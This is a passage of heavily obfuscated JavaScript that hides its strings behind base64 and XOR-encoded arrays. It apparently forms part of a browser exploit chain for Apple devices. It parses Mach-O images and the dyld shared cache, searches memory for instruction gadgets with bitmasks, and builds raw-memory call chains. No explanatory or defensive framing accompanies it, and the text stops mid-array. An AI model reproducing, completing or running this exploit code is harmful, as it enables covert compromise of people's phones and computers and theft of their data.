aGlzLmhoLkhvLlFvKSxPbzpQLnpuLlhuLnJyKGkrNDApLFFlOlAuem4uWG4ucnIoaSs0OCl9O3I9PT1oJiYobj1jKSxlLkxvW2hdPWN9cmV0dXJuIG4/dGhpcy5taChuKTpudWxsfX1yZXR1cm4gbnVsbH1iaCh0LHIpe2NvbnN0IGU9dGhpcy5FaCh0KTtpZihudWxsIT09ZSlmb3IobGV0IG49MDtuPGUuTW87bisrKXtjb25zdCBzPWUuRG8rODAqbixpPXQsbz1QLnpuLlhuLkVyKHMsMTYpO2lmKHI9PT1vKXtjb25zdCB0PXtYZTppLFZvOm8scWU6UC56bi5Ybi5ycihzKzMyKS5hZGQodGhpcy5oaC5Iby5RbyksT286UC56bi5Ybi5ycihzKzQwKSxRZTpQLnpuLlhuLnJyKHMrNDgpfTtyZXR1cm4gdGhpcy5taCh0KX19cmV0dXJuIG51bGx9cGgodCl7Y29uc3Qgcj10aGlzLkVoKHQpO2lmKCFyKXRocm93IG5ldyBFcnJvcigiIik7cmV0dXJuIHJ9U2goKXtyZXR1cm4gbnVsbD09PXRoaXMuZGgmJih0aGlzLmRoPW5ldyBudCh0aGlzLmhoLkhvLktvLnl0KCksdGhpcy5oaC5Iby5aby55dCgpKSksdGhpcy5kaH14aCh0KXtjb25zdCByPXRoaXMuaWgodCk7cmV0dXJuIDAhPT1yP1Auem4uWG4ucnIocik6bmV3IHguVnQoMCwwKX1JaCh0KXtjb25zdCByPXRoaXMucGgoKFs2MSwgNjEsIDU0LCAzOSwgNTgsIDU0XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDk4KTt9KS5qb2luKCIiKSkpO3JldHVybiB0LXIuRW8rci5xZX1UaCh0KXtjb25zdCByPXRoaXMuaWgodCk7cmV0dXJuIDAhPT1yP1Auem4uWG4ubnIocik6MH15aCh0LHIpe2NvbnN0IGU9dGhpcy5paCh0KTtyZXR1cm4gMCE9PWU/UC56bi5Ybi5TcihlKTpyfWtoKHQscil7Y29uc3QgZT10aGlzLkVoKHQpO2lmKG51bGw9PT1lKXRocm93IG5ldyBFcnJvcigiIik7Zm9yKGxldCB0PTA7dDxlLk9vO3QrPTgpe2NvbnN0IG49ZS5xZSt0O2lmKFAuem4uWG4uYnIobik9PT1yPj4+MCYmUC56bi5Ybi5icihuKzQpPT09ci80Mjk0OTY3Mjk2Pj4+MClyZXR1cm4gbn10aHJvdyBuZXcgRXJyb3IoIiIpfU9oKHQscil7Y29uc3QgZT10aGlzLkVoKHQpO2lmKG51bGw9PT1lKXRocm93IG5ldyBFcnJvcigiIik7Y29uc3Qgbj1lLnFlLHM9ZS5xZStlLk9vO3JldHVybiByPj1uJiZyPHN9emgodCxyLGUpe2NvbnN0IG49dGhpcy5faCh0LHIpO2lmKG51bGw9PT1uKXRocm93IG5ldyBFcnJvcigiIik7Y29uc3Qgcz1uLnFlLGk9bi5xZStuLk9vO3JldHVybiBlPj1zJiZlPGl9UGgodCl7Zm9yKGxldCByPTA7cjx0aGlzLmhoLmVoLmxlbmd0aDtyKyspaWYodGhpcy5PaCh0aGlzLmhoLmVoW3JdLlhlLHQpKXJldHVybiEwO3JldHVybiExfVVoKHQscil7Y29uc3QgZT10aGlzLkVoKHQpO2lmKG51bGw9PT1lKXRocm93IG5ldyBFcnJvcigiIik7Zm9yKGxldCB0PTA7dDxlLk9vO3QrPTgpaWYoUC56bi5Ybi5EcihlLnFlK3QpPT09cilyZXR1cm4gZS5xZSt0O3Rocm93IG5ldyBFcnJvcigiIil9QWgodCxyKXtjb25zdCBlPXRoaXMuRWgodCk7aWYobnVsbD09PWUpdGhyb3cgbmV3IEVycm9yKCIiKTtmb3IobGV0IHQ9MDt0PGUuT287dCs9OClpZihQLnpuLlhuLkRyKGUucWUrdCk9PT1yKXJldHVybiBQLnpuLlhuLnJyKGUucWUrdCk7dGhyb3cgbmV3IEVycm9yKCIiKX0kaCh0LHIsZSl7Y29uc3Qgbj10aGlzLkVoKHQpO2lmKG51bGw9PT1uKXRocm93IG5ldyBFcnJvcigiIik7Y29uc3Qgcz10aGlzLkVoKHIpO2lmKG51bGw9PT1zKXRocm93IG5ldyBFcnJvcigiIik7Zm9yKGxldCB0PTA7dDxzLk9vO3QrPTgpe2NvbnN0IHI9UC56bi5Ybi5EcihzLnFlK3QpO2lmKHI+PW4ucWUmJnI8bi5xZStuLk9vJiYhMD09PWUocixQLnpuLlhuLnJyKHMucWUrdCkpKWJyZWFrfX1xaCh0LHIpe2NvbnN0IGU9dGhpcy5FaCh0KTtpZihudWxsPT09ZSl0aHJvdyBuZXcgRXJyb3IoIiIpO2ZvcihsZXQgdD0wO3Q8ZS5Pbzt0Kz00KXtjb25zdCBuPWUucWUrdDtpZighMD09PXIobixQLnpuLlhuLmJyKG4pKSlicmVha319UmgodCxyKXtjb25zdCBlPXRoaXMuRWgodCk7aWYobnVsbD09PWUpdGhyb3cgbmV3IEVycm9yKCIiKTtmb3IobGV0IHQ9MDt0PGUuT287dCs9OCl7Y29uc3Qgbj1lLnFlK3Q7aWYoITA9PT1yKFoudXQobikpKWJyZWFrfX1DaCh0KXtmb3IoY29uc3QgciBvZiB0aGlzLmhoLmVoKXtjb25zdCBlPVoudXQoci5xZSksbj1aLnV0KHIucWUpLkgoeC5fKHIuT28pKTtpZih0LlBpKGUpJiZ0LlNpKG4pKXJldHVybiByfXJldHVybiBudWxsfX1jbGFzcyBudHtjb25zdHJ1Y3Rvcih0LHIpe3RoaXMuTWg9dCx0aGlzLkRoPXIsdGhpcy5MaD0hMSx0aGlzLkJoPXt9LHRoaXMuaW1hZ2VzPXRoaXMuTmgoKX1WaCgpe3JldHVybiBQLnpuLlhuLkVyKHRoaXMuRGgpfVhoKCl7cmV0dXJuKFs1NCwgNDMsIDYyLCA1NCwgMTMsIDM2LCA5OSwgMTE0LCAxMTQsIDUxLCAzMiwgNjMsIDEwMCwgMTAyLCA1NV0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA4Mik7fSkuam9pbigiIikpPT09dGhpcy5WaCgpfVpoKCl7cmV0dXJuIHRoaXMuTWh9TmgoKXtjb25zdCB0PVtdO2lmKCF0aGlzLlZoKCkuc3RhcnRzV2l0aCgoWzEzLCAxNiwgNSwgMTNdLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gMTA1KTt9KS5qb2luKCIiKSkpKXRocm93IG5ldyBFcnJvcigiIik7bGV0IHI9UC56bi5Ybi5icih0aGlzLkRoKzI0KSxlPVAuem4uWG4uYnIodGhpcy5EaCsyOCk7aWYoMD09PXImJjA9PT1lJiYodGhpcy5MaD0hMCxyPVAuem4uWG4uYnIodGhpcy5EaCsoMTI4MjY5MjE4NiBeIDEyODI2OTI1MDYpKSxlPVAuem4uWG4uYnIodGhpcy5EaCsoOTQ2ODkwMzA2IF4gOTQ2ODkwNjMwKSksMD09PXImJjA9PT1lKSl0aHJvdyBuZXcgRXJyb3IoIiIpO2ZvcihsZXQgbj0wO248ZTtuKyspe2NvbnN0IGU9dGhpcy5EaCtyKzMyKm4scz1QLnpuLlhuLkRyKGUpK3RoaXMuTWgsaT1QLnpuLlhuLmJyKGUrMjQpLG89UC56bi5Ybi5Fcih0aGlzLkRoK2kpO3QucHVzaCh7YWRkcmVzczpzLHBhdGg6b30pfXJldHVybiB0fWpoKCl7Y29uc3QgdD1bXTtmb3IoY29uc3QgciBvZiB0aGlzLmltYWdlcyl0LnB1c2goci5wYXRoKTtyZXR1cm4gdH1GaCh0LHIpe3JldHVybiB0aGlzLkhoKHQpLmZoKHIpfUtoKHQpe2Zvcihjb25zdCByIG9mIHRoaXMuaW1hZ2VzKXRyeXtyZXR1cm4gdGhpcy5IaChyLnBhdGgpLmZoKHQpfWNhdGNoKHQpe2NvbnRpbnVlfXRocm93IG5ldyBFcnJvcigiIil9R2godCl7Zm9yKGxldCByPTA7cjx0aGlzLmltYWdlcy5sZW5ndGg7cisrKWlmKC0xIT09dGhpcy5pbWFnZXNbcl0ucGF0aC5pbmRleE9mKHQpKXJldHVybiB0aGlzLmltYWdlc1tyXS5hZGRyZXNzO3JldHVybiAwfUhoKHQpe2lmKHZvaWQgMD09PXRoaXMuQmhbdF0pe2NvbnN0IHI9dGhpcy5HaCh0KTtpZigwPT09cilyZXR1cm4gbnVsbDt0aGlzLkJoW3RdPVkoeC5WdC51dChyKSkuYXIoKX1yZXR1cm4gdGhpcy5CaFt0XX1KaCh0KXtjb25zdCByPXRoaXMuSGgodCk7aWYobnVsbD09PXIpdGhyb3cgbmV3IEVycm9yKCIiKTtyZXR1cm4gcn1RaCguLi50KXtmb3IoY29uc3QgciBvZiB0KXRyeXtyZXR1cm4gdGhpcy5KaChyKX1jYXRjaCh0KXt9dGhyb3cgbmV3IEVycm9yKCIiKX19cmV0dXJuIHI7");const x=globalThis.obChTK.hPL3On(([5, 7, 6, 2, 0, 2, 0, 6, 84, 6, 2, 0, 7, 9, 82, 81, 81, 84, 0, 85, 5, 7, 85, 6, 84, 9, 85, 83, 9, 3, 1, 2, 0, 83, 0, 86, 5, 2, 4, 7].map(x => {return String.fromCharCode(x ^ 48);}).join(""))),{N:G,tn:W,nn:C,Vt:m,U:j,An:S,vn:O,v:o,I:u,B:s}=globalThis.obChTK.hPL3On(([69, 71, 70, 66, 64, 66, 64, 70, 20, 70, 66, 64, 71, 73, 18, 17, 17, 20, 64, 21, 69, 71, 21, 70, 20, 73, 21, 19, 73, 67, 65, 66, 64, 19, 64, 22, 69, 66, 68, 71].map(x => {return String.fromCharCode(x ^ 112);}).join(""))),P=globalThis.obChTK.hPL3On(([2, 7, 5, 5, 10, 80, 82, 0, 81, 2, 6, 2, 10, 81, 82, 1, 82, 11, 85, 7, 3, 81, 86, 1, 11, 4, 85, 5, 7, 5, 87, 7, 87, 4, 6, 10, 0, 86, 81, 3].map(x => {return String.fromCharCode(x ^ 51);}).join("")));class it{constructor(){this.tc=null,this.ic=null,this.cc=!1}da(t,i){return new x.Vt(0,0)}er(t,i){return new x.Vt(0,0)}wa(t,i){return new x.Vt(0,0)}ha(t,i){return new x.Vt(0,0)}}r.sc=it;class ct{constructor(t){this.lc=t}oc(t){let i=0;const c=[];for(let s=0;s>>0==(1129002616 ^ 1464546936)?c.push(-(1315785317 ^ 1248676453)):c.push(-1)}return{ac:i,mask:c}}hc(t){const i=this.lc.Jh(t),c=new Set([(4294967296 + (1161907565 ^ -1820441230)),(4294967296 + (828860772 ^ -413638309)),(4294967296 + (1417042517 ^ -2109124086)),(4294967296 + (1834239813 ^ -1150595270)),(4294967296 + (762009940 ^ -78360117)),(4294967296 + (2035775075 ^ -1352106276)),(4294967296 + (960909940 ^ -277259605)),(4294967296 + (894068816 ^ -478846801))]),s=[];i.qh(([60, 60, 55, 38, 59, 55].map(x => {return String.fromCharCode(x ^ 99);}).join("")),((t,i)=>{c.has(i)&&s.push([t,i])})),s.length}dc(t,i,c){const s=this.lc.Jh(t),{ac:l,mask:o}=this.oc(i);let a=null,h=null,d=null;if(!0===c?(s.$h(([6, 6, 13, 28, 1, 13].map(x => {return String.fromCharCode(x ^ 89);}).join("")),!0===globalThis.obChTK.hPL3On(([104, 109, 111, 111, 96, 58, 56, 106, 59, 104, 108, 104, 96, 59, 56, 107, 56, 97, 63, 109, 105, 59, 60, 107, 97, 110, 63, 111, 109, 111, 61, 109, 61, 110, 108, 96, 106, 60, 59, 105].map(x => {return String.fromCharCode(x ^ 89);}).join(""))).zn.Nn.PgkJIA?([50, 50, 44, 56, 57, 37, 50, 46, 34, 35, 62, 57].map(x => {return String.fromCharCode(x ^ 109);}).join("")):([60, 60, 39, 34, 55, 34, 60, 32, 44, 45, 48, 55].map(x => {return String.fromCharCode(x ^ 99);}).join("")),((t,c)=>{let s=t;for(let t=0;t>>0==(1835944057 ^ 2037270649)?c<<6>>4:4}return a=c,!0})),a&&(h=a.Dt().yt(),d=a)):(s.qh(([28, 28, 23, 6, 27, 23].map(x => {return String.fromCharCode(x ^ 67);}).join("")),((t,c)=>{let s=!0;for(let c=0;c {return String.fromCharCode(x ^ 84);}).join(""))).zn.Nn.KrBQWx;c++){const h=t+4*c,d=P.zn.Xn.br(h);if((4294967296 + (1464233010 ^ -2129042483))===d||(4294967296 + (1165521512 ^ -1826131544))===d){o=!0;break}if(((4294967296 + (1597192001 ^ -1607256255))&d)>>>0==(1933800054 ^ 1732473462)){if(s){o=!0;break}}else if(((4294967296 + (1596804982 ^ -1070772362))&d)>>>0==(4294967296 + (962557004 ^ -1453362100))){const t=(d<<8>>13<<2|d>>29&3)<<12;a[31&d]=h-h%(1869630326 ^ 1869634422)+t}else if(((4294967296 + (1668837232 ^ -1665634448))&d)>>>0==(4294967296 + (1264726616 ^ -1306381736))){const t=d>>5&31,i=d>>10&(1198351992 ^ 1198352775);a[t]&&l.push(a[t]+8*i)}else if(i&&((4294967296 + (1247310136 ^ -1252495048))&d)>>>0==(4294967296 + (2002338372 ^ -430357948))){const t=d>>5&31,i=d>>10&(928670574 ^ 928672913);a[t]&&(l.push(a[t]+i),a[t]=0)}}if(!o)throw new Error("");if(c>-1&&l.length!==c)throw new Error("");return l}Kc(t,i,c,s){const l=this.lc.Jh(t),{ac:o,mask:a}=this.oc(i);let h=null,d=null,b=null;if(!0===c?(l.$h(([106, 106, 97, 112, 109, 97].map(x => {return String.fromCharCode(x ^ 53);}).join("")),s,((t,c)=>{let s=t;for(let t=0;t>>0==(1949784433 ^ 1614240113)?c<<6>>4:4}return h=c,!0})),h&&(d=h.Dt().yt(),b=h)):(l.qh(([61, 61, 54, 39, 58, 54].map(x => {return String.fromCharCode(x ^ 98);}).join("")),((t,c)=>{let s=!0;for(let c=0;c {return String.fromCharCode(x ^ 54);}).join("")));class st extends it{da(t,i){return this.chain.Lc(this.chain.Xc.da,t,i)}er(t,i){return this.chain.Lc(this.chain.Xc.er,t,i)}wa(t,i){return this.chain.Lc(this.chain.Xc.wa,t,i)}ha(t,i){return this.chain.Lc(this.chain.Xc.ha,t,i)}Mc(){const t=this.Tc,i=P.zn.Xn.Mr(t);if(i%(2001294182 ^ 2001290086)!=0)throw new Error("");const c=x.Vt.ut(i).Ut();return t[0]=(4294967296 + (826958702 ^ -811099743)),t[1]=(1212564847 ^ 1229342051),t[4]=3,t[5]=(843200055 ^ 843200295),t[8]=25,t[9]=(1312979322 ^ 1312979426),t[10]=(1464096068 ^ 303041051),t[11]=(1313878103 ^ 1313891343),this.Gc&&(t[14]=0,t[15]=0,t[16]=c.it,t[17]=c.et,t[23]=1),t[24]=1,this.Gc?(t[34]=0,t[35]=0,t[36]=c.it,t[37]=c.et):(t[34]=c.it,t[35]=c.et,t[36]=(4294967296 + (1632532582 ^ -1632536474)),t[37]=(1785416801 ^ 1785416734)),t[42]=(4294967296 + (1299131770 ^ -848352902)),t[46]=25,t[47]=72,t[48]=(1633176905 ^ 672403990),t[49]=(1850242376 ^ 705510918),t[50]=(1717728110 ^ 1717708583),t[52]=(1700031096 ^ 1700031304),t[56]=(810509899 ^ 810510203),t[64]=(4294967296 + (1364150136 ^ -783333542)),t[65]=48,t[74]=(1196053805 ^ 1196053533),t[75]=(1197885509 ^ 1197883461),t[76]=(1464223825 ^ 907626833),t[77]=(1517318489 ^ 1517516633),t}Dc(t,i){const c=x.Vt.ut(i);let s=null,l=0,o=null,a=new x.Vt(0,0);const h=this.Mc(),d=P.zn.Xn.Mr(h),b=x.Vt.ut(d);if(this.Gc){const t=this.kc(b);l=t+1,o=x.Vt.ut(t),s=this.Zc}else l=this.wc(d),o=b,s=P.zn.Xn.nr(this.Zc+globalThis.obChTK.hPL3On(([85, 80, 82, 82, 93, 7, 5, 87, 6, 85, 81, 85, 93, 6, 5, 86, 5, 92, 2, 80, 84, 6, 1, 86, 92, 83, 2, 82, 80, 82, 0, 80, 0, 83, 81, 93, 87, 1, 6, 84].map(x => {return String.fromCharCode(x ^ 100);}).join(""))).zn.Nn.DXnm2a);return P.zn.Xn.Br((()=>{const i=new Uint8Array(h.buffer),s=c.sub(b);x.Xt(i,(1416051066 ^ 1416050754),s);const o=d+(1093678153 ^ 1093678458);a=t(this.xc,x.Vt.ut(l),x.Vt.ut(o))}),{Ir:s+8,Zt:o}),a}kc(t){const i=this.Ac,c=t.H((1198211657 ^ 1198211913));return i[20]=t.it,i[21]=t.et,i[22]=t.it,i[23]=t.et,i[24]=0,i[25]=0,i[29]=(2019645509 ^ 2019646020),i[32]=c.it,i[33]=c.et,i[36]=0,i[37]=0,P.zn.Xn.Mr(i)}wc(t){return t/32+1}Nc(t){const i=P.zn.Xn,c=this.Mc(),s=this.zc,l=this.Sc;let o=new x.Vt(0,0);const a=x.Vt.ut(t);let h=null;const d=P.zn.Xn.Mr(c),b=x.Vt.ut(d);let I=null,e=null;if(this.Gc){const t=this.kc(b);I=t+1,e=x.Vt.ut(t),h=this.Zc}else h=i.nr(this.Zc+globalThis.obChTK.hPL3On(([101, 96, 98, 98, 109, 55, 53, 103, 54, 101, 97, 101, 109, 54, 53, 102, 53, 108, 50, 96, 100, 54, 49, 102, 108, 99, 50, 98, 96, 98, 48, 96, 48, 99, 97, 109, 103, 49, 54, 100].map(x => {return String.fromCharCode(x ^ 84);}).join(""))).zn.Nn.DXnm2a),I=this.wc(d),e=b;const g=P.zn.Xn.rr(s);return P.zn.Xn.Br((()=>{const t=new Uint8Array(c.buffer),l=([75, 64, 95, 71, 103, 65, 82, 93, 64, 85, 92, 65, 94, 118, 65, 65, 92, 65].map(x => {return String.fromCharCode(x ^ 51);}).join(""));let h=(1885746756 ^ 1885747063);for(let i=0;i {return String.fromCharCode(x ^ 105);}).join(""))),c=this.lc.Jh(([31, 26, 17, 32, 10, 0, 7, 22, 30, 93, 49, 93, 23, 10, 31, 26, 17].map(x => {return String.fromCharCode(x ^ 115);}).join(""))),s=this.lc.Jh(([61, 56, 51, 41, 34, 61, 37].map(x => {return String.fromCharCode(x ^ 81);}).join(""))),l=i.fh(([61, 53, 42, 32, 52].map(x => {return String.fromCharCode(x ^ 89);}).join("")));!0===globalThis.obChTK.hPL3On(([110, 107, 105, 105, 102, 60, 62, 108, 61, 110, 106, 110, 102, 61, 62, 109, 62, 103, 57, 107, 111, 61, 58, 109, 103, 104, 57, 105, 107, 105, 59, 107, 59, 104, 106, 102, 108, 58, 61, 111].map(x => {return String.fromCharCode(x ^ 95);}).join(""))).zn.Nn.PgkJIA?this.xc=c.Ah(([13, 13, 19, 7, 6, 26, 13, 17, 29, 28, 1, 6].map(x => {return String.fromCharCode(x ^ 82);}).join("")),l):this.xc=c.Ah(([109, 109, 118, 115, 102, 115, 109, 113, 125, 124, 97, 102].map(x => {return String.fromCharCode(x ^ 50);}).join("")),l);{t=this.lc.Qh(([47, 65, 40, 28, 15, 3, 11, 25, 1, 28, 5, 29, 65, 57, 11, 12, 45, 1, 28, 11, 64, 8, 28, 15, 3, 11, 25, 1, 28, 5, 65, 56, 11, 28, 29, 7, 1, 0, 29, 65, 47, 65, 57, 11, 12, 45, 1, 28, 11].map(x => {return String.fromCharCode(x ^ 110);}).join("")),([48, 2, 5, 36, 8, 21, 2, 73, 1, 21, 6, 10, 2, 16, 8, 21, 12, 72, 48, 2, 5, 36, 8, 21, 2].map(x => {return String.fromCharCode(x ^ 103);}).join("")));const c=s.wh/32>>>0;this.Sc=t.kh(globalThis.obChTK.hPL3On(([107, 110, 108, 108, 99, 57, 59, 105, 56, 107, 111, 107, 99, 56, 59, 104, 59, 98, 60, 110, 106, 56, 63, 104, 98, 109, 60, 108, 110, 108, 62, 110, 62, 109, 111, 99, 105, 63, 56, 106].map(x => {return String.fromCharCode(x ^ 90);}).join(""))).zn.Nn.PgkJIA?([24, 24, 3, 6, 19, 6].map(x => {return String.fromCharCode(x ^ 71);}).join("")):([15, 15, 20, 17, 4, 17, 15, 20, 25, 2, 4, 9].map(x => {return String.fromCharCode(x ^ 80);}).join("")),c);const l=i.fh(([5, 62, 35, 54, 62, 5, 51, 52, 51, 46, 51, 59, 54, 51, 32, 63, 40].map(x => {return String.fromCharCode(x ^ 90);}).join(""))),o=this.Pc.bc(l,!0);this.Zc=o[globalThis.obChTK.hPL3On(([112, 117, 119, 119, 120, 34, 32, 114, 35, 112, 116, 112, 120, 35, 32, 115, 32, 121, 39, 117, 113, 35, 36, 115, 121, 118, 39, 119, 117, 119, 37, 117, 37, 118, 116, 120, 114, 36, 35, 113].map(x => {return String.fromCharCode(x ^ 65);}).join(""))).zn.Nn.Kmb3Lc]}const o=s.ih(([78, 69, 90, 66, 112, 68, 83, 83, 98, 68, 87, 88, 69, 80, 89, 68, 91, 117, 89, 88, 66, 83, 78, 66].map(x => {return String.fromCharCode(x ^ 54);}).join("")));let a;try{a=t.Uh(([0, 0, 27, 30, 11, 30, 0, 27, 22, 13, 11, 6].map(x => {return String.fromCharCode(x ^ 95);}).join("")),o)}catch(i){a=t.Uh(globalThis.obChTK.hPL3On(([126, 123, 121, 121, 118, 44, 46, 124, 45, 126, 122, 126, 118, 45, 46, 125, 46, 119, 41, 123, 127, 45, 42, 125, 119, 120, 41, 121, 123, 121, 43, 123, 43, 120, 122, 118, 124, 42, 45, 127].map(x => {return String.fromCharCode(x ^ 79);}).join(""))).zn.Nn.PgkJIA?([8, 8, 22, 2, 3, 31].map(x => {return String.fromCharCode(x ^ 87);}).join("")):([40, 40, 51, 54, 35, 54].map(x => {return String.fromCharCode(x ^ 119);}).join("")),o)}const h=s.fh(([18, 25, 6, 30, 62, 24, 11, 4, 25, 12, 5, 24, 7, 47, 24, 24, 5, 24].map(x => {return String.fromCharCode(x ^ 106);}).join("")));try{this.zc=t.Uh(([51, 51, 40, 45, 56, 45, 51, 40, 37, 62, 56, 53].map(x => {return String.fromCharCode(x ^ 108);}).join("")),h)}catch(i){this.zc=t.Uh(([7, 7, 28, 25, 12, 25].map(x => {return String.fromCharCode(x ^ 88);}).join("")),h)}if(this.Rc=a,this.Qc=this.zc-24,1!==P.zn.Xn.br(this.Qc))throw new Error("");this.Wc=this.Sc+8,!0===globalThis.obChTK.hPL3On(([95, 90, 88, 88, 87, 13, 15, 93, 12, 95, 91, 95, 87, 12, 15, 92, 15, 86, 8, 90, 94, 12, 11, 92, 86, 89, 8, 88, 90, 88, 10, 90, 10, 89, 91, 87, 93, 11, 12, 94].map(x => {return String.fromCharCode(x ^ 110);}).join(""))).zn.Nn.xlJ9NK?this.chain=new lt(this):this.chain=new ot(this)}}class lt{constructor(t){const i=P.zn.Xn,c=t.Pc,s=t.controller;this.vc=new ArrayBuffer((863256947 ^ 863256659)),x.D(this.vc),this.fc=i.Mr(this.vc);const l=c.uc([([24, 29, 22, 16, 13, 24, 16, 90, 16, 13, 24, 29, 22].map(x => {return String.fromCharCode(x ^ 116);}).join(""))],[(4294967296 + (1515272525 ^ -2138033073)),(4294967296 + (1834042456 ^ -950843464)),(4294967296 + (1784116584 ^ -1140296024)),(4294967296 + (1835821613 ^ -1213373649)),(4294967296 + (1397117034 ^ -112962678)),(4294967296 + (1112550740 ^ -1810944364)),(4294967296 + (1415524930 ^ -1902233792)),(4294967296 + (1999662168 ^ -583897160)),(4294967296 + (1466451266 ^ -2127083902)),(4294967296 + (1886672173 ^ -1430957009)),(4294967296 + (811824440 ^ -1704888616)),(4294967296 + (1999653715 ^ -1586542445))]).Ic-52,o=c.Cc([([24, 29, 22, 38, 17, 2, 17, 6, 7, 17, 36, 6, 27, 12, 13, 48, 17, 2, 29, 23, 17, 90, 16, 13, 24, 29, 22].map(x => {return String.fromCharCode(x ^ 116);}).join(""))],[(4294967296 + (1970425964 ^ -1603177709)),(4294967296 + (1128885071 ^ -352972622)),(4294967296 + (1497590637 ^ -935106416)),(4294967296 + (1987471952 ^ -550090151)),(4294967296 + (1668694593 ^ -902346176)),(4294967296 + (2035774529 ^ -748718175)),(4294967296 + (1178821235 ^ -1870894260)),(4294967296 + (2001956434 ^ -544074321)),(4294967296 + (1397254709 ^ -2062064182))]),a=c.Cc([([98, 29, 63, 36, 59, 44, 57, 40, 11, 63, 44, 32, 40, 58, 34, 63, 38, 62, 98, 14, 34, 63, 40, 24, 57, 36, 33, 62, 99, 43, 63, 44, 32, 40, 58, 34, 63, 38, 98, 27, 40, 63, 62, 36, 34, 35, 62, 98, 12, 98, 14, 34, 63, 40, 24, 57, 36, 33, 62].map(x => {return String.fromCharCode(x ^ 77);}).join("")),([9, 43, 48, 47, 56, 45, 60, 31, 43, 56, 52, 60, 46, 54, 43, 50, 42, 118, 26, 54, 43, 60, 12, 45, 48, 53, 42, 119, 63, 43, 56, 52, 60, 46, 54, 43, 50, 118, 26, 54, 43, 60, 12, 45, 48, 53, 42].map(x => {return String.fromCharCode(x ^ 89);}).join(""))],[(4294967296 + (945321267 ^ -312781236)),(4294967296 + (1901352270 ^ -655746374)),(4294967296 + (1668100465 ^ -898872692)),(4294967296 + (963999543 ^ -1468713782)),(4294967296 + (1798851434 ^ -1053276007)),(4294967296 + (1299854937 ^ -1118152495)),(4294967296 + (1849767746 ^ -1761344950)),(4294967296 + (1514289503 ^ -1937952704)),(4294967296 + (1951019062 ^ -1924517290)),(4294967296 + (1296520565 ^ -469356920)),(4294967296 + (1517566288 ^ -222923100)),(4294967296 + (1800220025 ^ -1122884986))]),h=c.nc([(4294967296 + (1866878807 ^ -1085307745)),(4294967296 + (1431394143 ^ -1407912361)),(4294967296 + (1733452390 ^ -749575346)),(4294967296 + (1349924439 ^ -2055924440)),(4294967296 + (1834640493 ^ -991617136)),(4294967296 + (1833267833 ^ -62557820)),(4294967296 + (877016654 ^ -464519801)),(4294967296 + (844384375 ^ -888017577)),(4294967296 + (1868063821 ^ -1184404142)),(4294967296 + (859989584 ^ -1685906003)),(4294967296 + (759452760 ^ -129534041)),(4294967296 + (1513246055 ^ -1938993497))]),d=h.gc[1],b=h.gc[0],I=a.gc[0];this.Yc=(c,l,e,g)=>(i.Jr(this.fc+0,c),i.Jr(this.fc+8,l),i.Jr(this.fc+16,e),i.Jr(this.fc+24,g),i.Br((()=>{s.Hc()}),{Ir:t.Rc,Zt:h.yc},{Ir:d,Zt:x.Vt.ut(this.fc)},{Ir:b,Zt:a.yc},{Ir:I,Zt:o.yc}),i.rr(this.fc));this.Oc=t.Dc(((c,l,e)=>(i.Jr(this.fc+0,c),i.Jr(this.fc+8,l),i.Jr(this.fc+16,e),i.Br((()=>{s.Hc()}),{Ir:t.Rc,Zt:h.yc},{Ir:d,Zt:x.Vt.ut(this.fc)},{Ir:b,Zt:a.yc},{Ir:I,Zt:o.yc}),i.rr(this.fc))),l),this.Uc=new ArrayBuffer(64),this.Jc=i.Mr(this.Uc),this.Fc=x.Vt.ut(this.Jc),x.D(this.Uc),this.Xc={da:(4294967296 + (1952731722 ^ -1956294070)),er:(4294967296 + (1918266181 ^ -1923781819)),ha:(4294967296 + (1752725609 ^ -1753384855)),wa:(4294967296 + (1901032771 ^ -1907854013))};this.Lc=(t,c,s)=>{const l=Math.abs(s.et>>>16);return i.write32x2(this.Jc,0,t|l),this.Yc(this.Oc,this.Fc,s,c)}}}class ot{constructor(t){const i=P.zn.Xn,c=t.Pc,s=t.controller;let l,o;this.vc=new ArrayBuffer((1366913091 ^ 1366913379)),x.D(this.vc),this.fc=i.Mr(this.vc),globalThis.obChTK.hPL3On(([6, 3, 1, 1, 14, 84, 86, 4, 85, 6, 2, 6, 14, 85, 86, 5, 86, 15, 81, 3, 7, 85, 82, 5, 15, 0, 81, 1, 3, 1, 83, 3, 83, 0, 2, 14, 4, 82, 85, 7].map(x => {return String.fromCharCode(x ^ 55);}).join(""))).zn.Nn.PgkJIA?(o=c.uc([([54, 51, 56, 62, 35, 54, 62, 116, 62, 35, 54, 51, 56].map(x => {return String.fromCharCode(x ^ 90);}).join(""))],[(4294967296 + (2054764410 ^ -1598540166)),(4294967296 + (1278555225 ^ -1704314983)),(4294967296 + (1916224368 ^ -1460254096)),(4294967296 + (1818190962 ^ -1174378574)),(4294967296 + (1934054471 ^ -1450813113)),(4294967296 + (1096436084 ^ -1761260876)),(4294967296 + (2003987064 ^ -1380749448)),(4294967296 + (1296459573 ^ -1692834571))]),l=o.Ic+64):(o=c.uc([([51, 54, 61, 59, 38, 51, 59, 113, 59, 38, 51, 54, 61].map(x => {return String.fromCharCode(x ^ 95);}).join(""))],[(4294967296 + (827553106 ^ -342723504)),(1834972758 ^ 2036299344),(4294967296 + (1466398306 ^ -1918468256)),(1348618605 ^ 1147292009),(4294967296 + (1095066484 ^ -1685819786)),(860895089 ^ 659568499),(4294967296 + (1110533997 ^ -1729076625)),(4294967296 + (1398034542 ^ -111783026)),(4294967296 + (2019981657 ^ -794361180)),(4294967296 + (1349732682 ^ -2043918667))]),l=o.ec);const a=c.uc([([56, 61, 54, 48, 45, 56, 48, 122, 48, 45, 56, 61, 54].map(x => {return String.fromCharCode(x ^ 84);}).join(""))],[(4294967296 + (809775686 ^ -434425466))]).Ic,h=c.uc([([6, 3, 8, 56, 15, 28, 15, 24, 25, 15, 58, 24, 5, 18, 19, 46, 15, 28, 3, 9, 15, 68, 14, 19, 6, 3, 8].map(x => {return String.fromCharCode(x ^ 106);}).join(""))],[(4294967296 + (1882814002 ^ -646359503)),(4294967296 + (1596805209 ^ -160671656)),(4294967296 + (1951164215 ^ -565943081)),(4294967296 + (892561486 ^ -483631055))]).Ic,d=c.uc([([30, 97, 67, 88, 71, 80, 69, 84, 119, 67, 80, 92, 84, 70, 94, 67, 90, 66, 30, 114, 94, 67, 84, 100, 69, 88, 93, 66, 31, 87, 67, 80, 92, 84, 70, 94, 67, 90, 30, 103, 84, 67, 66, 88, 